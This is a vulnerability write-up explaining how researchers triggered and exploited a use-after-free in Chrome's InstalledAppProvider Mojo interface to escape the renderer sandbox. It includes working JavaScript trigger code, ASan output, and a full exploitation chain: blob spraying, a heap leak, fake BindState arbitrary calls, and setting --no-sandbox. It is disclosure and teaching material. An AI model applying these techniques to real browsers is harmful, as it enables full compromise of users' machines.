This post will explain how we discovered and exploited Issue 1062091, a use-after-free (UAF) in the browser process leading to a sandbox escape in Google Chrome as well as Chromium-based Edge.
Background
Our goal is to make this post accessible to those unfamiliar with Chrome exploitation, so we’ll start with some background on Chrome’s security architecture and IPC design. Note that all of this section applies to Chromium-based Edge as well, which has been shipping by default as of January 15, 2020.
Chrome Process Architecture
A key pillar of Chrome’s security architecture is sandboxing. Chrome limits most of the attack surface of the web (e.g. DOM rendering, script execution, media decoding, etc.) to sandboxed processes. There is one central process, known as the browser process, which runs completely unsandboxed. Here is a nice diagram showing the attack surface in each process and the various communication channels between them.
In addition to sandboxing, Chrome implements site isolation, which ensures that data from distinct origins are stored and handled in different sandboxed processes. The effect is that compromising a sandboxed process should not even allow an attacker to leak the user’s browsing data for other origins.
A result of this architecture is that most Chrome exploits require two or more bugs: at least one to get code execution in a sandboxed process (typically a renderer process) and at least one to escape the sandbox. The bug we’ll look at allows a compromised renderer process to escape the sandbox.
Mojo IPC
Chrome processes communicate with one another via two IPC mechanisms: legacy IPC and Mojo. Legacy IPC is nearly finished being phased out in favor of Mojo and will not be relevant for the discussion of this bug, so we’ll only focus on Mojo.
Quoting from the Mojo Docs,
Mojo is a collection of runtime libraries providing a platform-agnostic abstraction of common IPC primitives, a message IDL format, and a bindings library with code generation for multiple target languages to facilitate convenient message passing across arbitrary inter- and intra-process boundaries.
We’ll expand on the relevant parts for this post. First, here is the Mojo interface definition for the vulnerable code:
// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};
// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
=> (array<RelatedApplication> installed_apps);
};
During a Chrome build, this interface definition is translated into interfaces and proxy objects for each target language (e.g. C++, Java, and even JavaScript). This particular interface was originally implemented only on Android using the Java Mojo bindings, but recently experimental support for Windows was implemented in C++. Our exploit will use the JavaScript bindings (running in a compromised renderer process) to call this C++ implementation (running in the browser process).
This interface defines one method, FilterInstalledApps. By default, all methods are asynchronous (there is a [Sync] attribute for overriding this default). In the generated C++ interface, this means the method takes an extra argument which is a callback to invoke with the result. In JavaScript, the function instead returns a Promise.
Knowing some Mojo lingo will help with reading the code later in this post. Note that Mojo has recently changed these names, but not all of the code and docs have been transitioned yet, so we’ll give both names where necessary. Also, some of these types are generic over the Mojo interface, but we’ll simply refer to the types for InstalledAppProvider.
- A
MessagePipeis a channel over which Mojo messages are sent. Messages include method invocations and their replies. - A
Remote<InstalledAppProvider>(still called aInstalledAppProviderPtrin the JavaScript bindings) is a proxy object on which one invokes the methods defined in the interface. It ties one end of aMessagePipeto a particular interface. - A
PendingReceiver<InstalledAppProvider>wraps the other end of theMessagePipe. APendingReceivermust be bound to an implementation of theInstalledAppProviderinterface in order to route the messages to the appropriate implementation. This binding is called aReceiver<InstalledAppProvider>. - A
SelfOwnedReceiver<InstalledAppProvider>is a special type of binding used to tie the lifetime of an implementation object to the lifetime of the underlyingMessagePipe. ASelfOwnedReceiverowns astd::unique_ptrto the implementation and is responsible for deleting it when theMessagePipeis closed or encounters some error.
There is a lot more that could be said about Mojo, but it is not necessary for this post. For a more details, we would recommend skimming the docs.
RenderFrameHost and Frame-Bound Interfaces
Every frame (e.g. a main frame or an iframe) in a renderer process is backed by a RenderFrameHost in the browser process. Note that one renderer process might contain multiple frames, provided they are all from the same origin. Many of the Mojo interfaces provided by the browser are acquired through the RenderFrameHost.
During the RenderFrameHost initialization, a BinderMap is populated with a callback for each exposed Mojo interface:
void PopulateFrameBinders(RenderFrameHostImpl* host,
service_manager::BinderMap* map) {
...
map->Add<blink::mojom::InstalledAppProvider>(
base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
base::Unretained(host)));
...
}
When a renderer frame requests an interface, the corresponding callback in the BinderMap is invoked and passed the PendingReceiver:
void RenderFrameHostImpl::CreateInstalledAppProvider(
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
InstalledAppProviderImpl::Create(this, std::move(receiver));
}
In this case, a new InstalledAppProviderImpl is created and the PendingReceiver is bound with a SelfOwnedReceiver.
The Bug
As described above, the SelfOwnedReceiver holds a unique_ptr to the InstalledAppProviderImpl, meaning the Impl will stay alive as long as the underlying MessagePipe stays connected. Additionally, the InstalledAppProviderImpl holds a raw pointer to the RenderFrameHost:
InstalledAppProviderImpl::InstalledAppProviderImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host) {
DCHECK(render_frame_host_);
}When the FilterInstalledApps method is invoked, a virtual function call is made on this raw pointer:
void InstalledAppProviderImpl::FilterInstalledApps( std::vector<blink::mojom::RelatedApplicationPtr> related_apps, const GURL& manifest_url, FilterInstalledAppsCallback callback) { if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) { std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>()); return; } ... }
So if this method is invoked after the RenderFrameHost has been freed, a use-after-free will occur.
A Bug’s Life
This bug was introduced in this commit, which landed in Chrome 81.0.4041.0. A few weeks later, the bug was coincidentally moved behind an experimental command line flag in this commit. However, this change landed in Chrome 82.0.4065.0, so the bug would have been reachable on all Desktop platforms in Chrome Stable 81.
Exploitation
Triggering the bug
While it may be possible to trigger the bug from pure JavaScript, it almost certainly would not be exploitable. Instead, we’ll simulate a compromised renderer process by enabling the MojoJS blink bindings (with --enable-blink-features=MojoJS on the Chrome command line). These bindings expose the Mojo platform directly to JavaScript, allowing us to bypass the Blink bindings entirely. Note that these bindings can be enabled by a compromised renderer process by flipping a bit in memory and then creating a new JavaScript context, so our exploit code could easily be used in a bug chain.
As a first attempt to trigger the bug, we used the approach from a similar bug report. The idea is to have the top frame spawn a few subframes, each of which will acquire handles to a bunch of InstalledAppProvider instances for their frame. The subframes call filterInstalledApps repeatedly to clog the Mojo message pipes. After a few seconds, the top frame will remove the subframes, causing the backing RenderFrameHosts to be freed. This also causes a connection error on the InstalledAppProvider MessagePipes, but the hope is that the connection error will not be processed until after a filterInstalledApps call dereferences the freed pointer.
We create a page with the following script:
function allocate_rfh() {
var iframe = document.createElement("iframe");
iframe.src = window.location + "#child"; // designate the child by hash
document.body.appendChild(iframe);
return iframe;
}
function deallocate_rfh(iframe) {
document.body.removeChild(iframe);
}
if (window.location.hash == "#child") {
var ptrs = new Array(4096).fill(null).map(() => {
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1);
return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
});
setTimeout(() => ptrs.map((p) => {
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
}), 2000);
} else {
var frames = new Array(4).fill(null).map(() => allocate_rfh());
setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
}
setTimeout(() => window.location.reload(), 16000);After a few refreshes, we finally hit the bug:
==8779==ERROR: AddressSanitizer: heap-use-after-free on address 0x620000067080 at pc 0x7f1aafa73589 bp 0x7ffed99af5d0 sp 0x7ffed99af5c8
READ of size 8 at 0x620000067080 thread T0 (chrome)
Removing the Race
For exploitation, we’d like to have more control over when the UAF is triggered. If we wrote our exploit in native code, we would be able to keep the Mojo connection alive even after the subframe is freed, because these frames are running in the same process. However, we’d ideally like to stay in JavaScript.
We soon discovered the MojoJSTest bindings, which expose a few extra Mojo features to JavaScript. The relevant feature for our exploit is MojoInterfaceInterceptor, which is capable of intercepting Mojo.bindInterface calls from other frames in the same-process. We can use this to pass the endpoint handle to the parent frame before the child frame is destructed. Here’s how this looks:
var kPwnInterfaceName = "pwn";
// runs in the child frame
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent frame
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
// runs in the parent frame
function getFreedPtr() {
return new Promise(function (resolve, reject) {
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
interceptor.stop();
// bind and return the remote
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
freeRFH(frame);
resolve(provider_ptr);
}
interceptor.start();
});
}So we now can use getFreedPtr() to get an InstalledAppProviderPtr for a freed RenderFrameHost. Calling filterInstalledApps then immediately triggers the UAF.
Replacing the RenderFrameHostImpl
The bug gives a virtual function call on a freed RenderFrameHost. For those unfamiliar with how virtual calls work (or those that need a refresher), this post might be helpful. To exploit this bug we want to control the freed object’s data. We can use the usual strategy to replace a freed object in the browser process: blob spraying. For those unfamiliar, here’s a one sentence overview: After we free the subframe, we create a bunch of blobs (using either the Blob API or the Mojo bindings) containing controlled data of length sizeof(RenderFrameHostImpl) (this is 0xc38 on Chrome 81.0.4044.69), and we hope that our data ends up replacing the freed object in on the heap.
Conveniently, this is extremely likely to succeed in the case of this bug. The reason is that the RenderFrameHost is a huge object, so very few allocations are being made in that heap bucket. In our testing, usually the first blob we allocated replaced the object, but we do a few extra for good measure.
We now face the question: what do we replace the vtable pointer with? Without a leaked heap pointer from the Browser Process, we can’t point the vtable to data we control, so there’s no obvious way to jump to arbitrary code. In fact, we seemingly don’t know the address of anything.
However, there is a well-known weakness of ASLR on Windows: DLL base addresses are not randomized each time it is loaded. Therefore, any shared DLLs between the renderer process and the browser process will be loaded at the same base address – and this includes chrome.dll, the massive 120MB binary containing most of Chrome’s code. Our exploit will assume we have this base address, which is trivial for a compromised renderer to obtain.
The .rdata section of this DLL contains vtables for every virtual class defined within it. Using these address for our vtable pointer lets us call any virtual function on a fully controlled object.
Exploit Plan: A shortcut
Getting full code execution in the browser would likely require more machinery than is available within chrome.dll (e.g. gadgets from kernel32.dll or ntdll.dll). For instance, we could use stack pivot into our controlled data and use ROP to allocate some RWX memory, copy shellcode, and execute it. But in the interest of keeping our exploit simple, we can use a shortcut.
Since we’re already relying on a renderer exploit, all we technically need is a renderer process running unsandboxed. Thankfully, this is much simpler to achieve. Each process in chrome has a global CommandLine object which holds the parsed command line switches for that process. When the browser process creates a new subprocess, it passes certain switches (if they’re present) from its CommandLine to the child process. One such switch is --no-sandbox, which does exactly what it sounds like: disables the sandbox. Conveniently, there’s a function in chrome.dll which gives us an easy way to append this flag to a CommandLine object:
void SetCommandLineFlagsForSandboxType(base::CommandLine* command_line,
SandboxType sandbox_type) {
switch (sandbox_type) {
case SandboxType::kNoSandbox:
command_line->AppendSwitch(switches::kNoSandbox);
break;
...
}
}
So in our case, escaping the sandbox can be reduced to calling this function with the right arguments. Note that this is not a virtual function, and we don’t know the address of the browser’s CommandLine object, so we do have some work to do.
Avoiding a Crash
In order to build stronger primitives, it might be nice to repeatedly trigger the bug. Also, the above strategy requires that the browser keeps running after exploitation. However, recall that the buggy call is followed by two more virtual function calls:
if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
...
}
If we redirect the call to GetProcess() to some other virtual function, we must make sure it returns a pointer which is safe to make these two virtual calls on. Fortunately, there’s an easy trick to fix this. We can make the first virtual call invoke any virtual function of the form:
SomeType* SomeClass::SomeMethod() {
return &class_member_;
}
Calling one of these functions will return a pointer which is a small offset ahead of render_frame_host_, so it still points to our controlled data. For convenience, we pick one which returns a pointer 8 bytes ahead of this, e.g.
content::ContentClient* ChromeMainDelegate::CreateContentClient() { return &chrome_content_client_; }
Repeating this idea for the second virtual call gives us control of the final call with no constraints on its return value. Here’s a visual:
Getting a Heap Leak
Given our primitive, leaking a heap pointer is actually quite easy. We call any virtual function which allocates and stores the result as a member:
SomeClass::SomeMethod() {
some_member_ = new Foo();
}Then, recall that we’ve replaced the RenderFrameHost with a Blob, so we can actually ask the browser to send us the contents back! When we do, we should find the heap pointer within.
Once we have a heap pointer, we can use heap spraying to put controlled data at a guessable address. Note: In our actual exploit, we used a few extra gadgets to find the precise address of the original freed RenderFrameHost, but this is not totally necessary.
Arbitrary Call
We want to turn our arbitrary virtual call into an arbitrary call to any function. One easy idea is to use our heap leak to place a pointer to our target function at a known (guessable) address and use that as our vtable pointer. This succeeds in calling the target function, but unfortunately the arguments would still be uncontrolled.
To control the arguments too, we use a different approach. Recall that we control the class members during our targeted virtual call, so we find a virtual function that invokes a callback class member, e.g.
class FileSystemDispatcher::WriteListener
: public mojom::blink::FileSystemOperationListener {
public:
...
void DidWrite(int64_t byte_count, bool complete) override {
write_callback_.Run(byte_count, complete);
}
private:
...
WriteCallback write_callback_;
};
where WriteCallback is just an alias for a particular type of base::Callback:
using WriteCallback =
base::RepeatingCallback<void(int64_t bytes, bool complete)>;
In Chrome, Callback objects are used to store function pointers with some bound arguments. In terms of memory layout, they simply contain a pointer to a BindState, which has the following layout:
Not all of these fields matter for us. polymorphic_invoke is a pointer to a function responsible for invoking functor (the callback function) with the bound arguments. Clearly polymorphic_invoke must know how many bound arguments there are, as well as their types, so we choose an invoker function that passes as many args as we need (2 suffices for our target function). Then, using our heap leak, we build a fake BindState object with our target function and arguments and place it at a known address in the heap. Now we trigger the UAF to invoke FileSystemDispatcher::WriteListener::DidWrite and control the BindState pointer of the callback.
Leaking the CommandLine Pointer
The global CommandLine object is allocated during Chrome’s initialization, and a pointer is stored in the .data section of chrome.dll:
// The singleton CommandLine representing the current process's command line. static CommandLine* current_process_commandline_;
There are surely many ways to obtain this. Given that we can already call any function, we simply call the following function to copy the pointer into one of our blobs, and then read it back.
static
void copy64(void* dst, const void* src)
{
memmove(dst, src, sizeof(cmsFloat64Number));
}Exploit Summary
Using the above pieces, we outline the full exploit strategy:
- Use a renderer exploit to enable the MojoJS,MojoJSTest bindings and find the base address of
chrome.dll. - Trigger the UAF to store a new allocation in the blob and read it back to leak a heap pointer.
- Spray
BindStates forcopy64(blob_ptr, current_process_commandline_), trigger the UAF, and read back the command line pointer. - Spray
BindStates forSetCommandLineFlagsForSandboxType(cmd_line, SandboxType::kNoSandbox)and trigger the UAF. - Spawn a new renderer process (e.g. using an iframe to a different controlled origin).
- Use the renderer exploit again to compromise the unsandboxed renderer process.
Conclusions
All things considered, this bug demonstrates almost ideal conditions for use-after-free exploitation. Replacing the freed object was highly reliable because the object was in a rarely-used heap bucket, and by avoiding the race condition, we could safely trigger the bug as many times as needed. As a result, we were able to achieve process-continuation, meaning that chrome will continue to behave normally from the user’s perspective post-exploitation. Further, since we only use code gadgets from chrome.dll, the exploit is easy to adapt to other platforms – especially Mac OS, which also lacks inter-process library randomization.
If you’re curious to see all the details, you can find the full exploit in our bug report.
Source:
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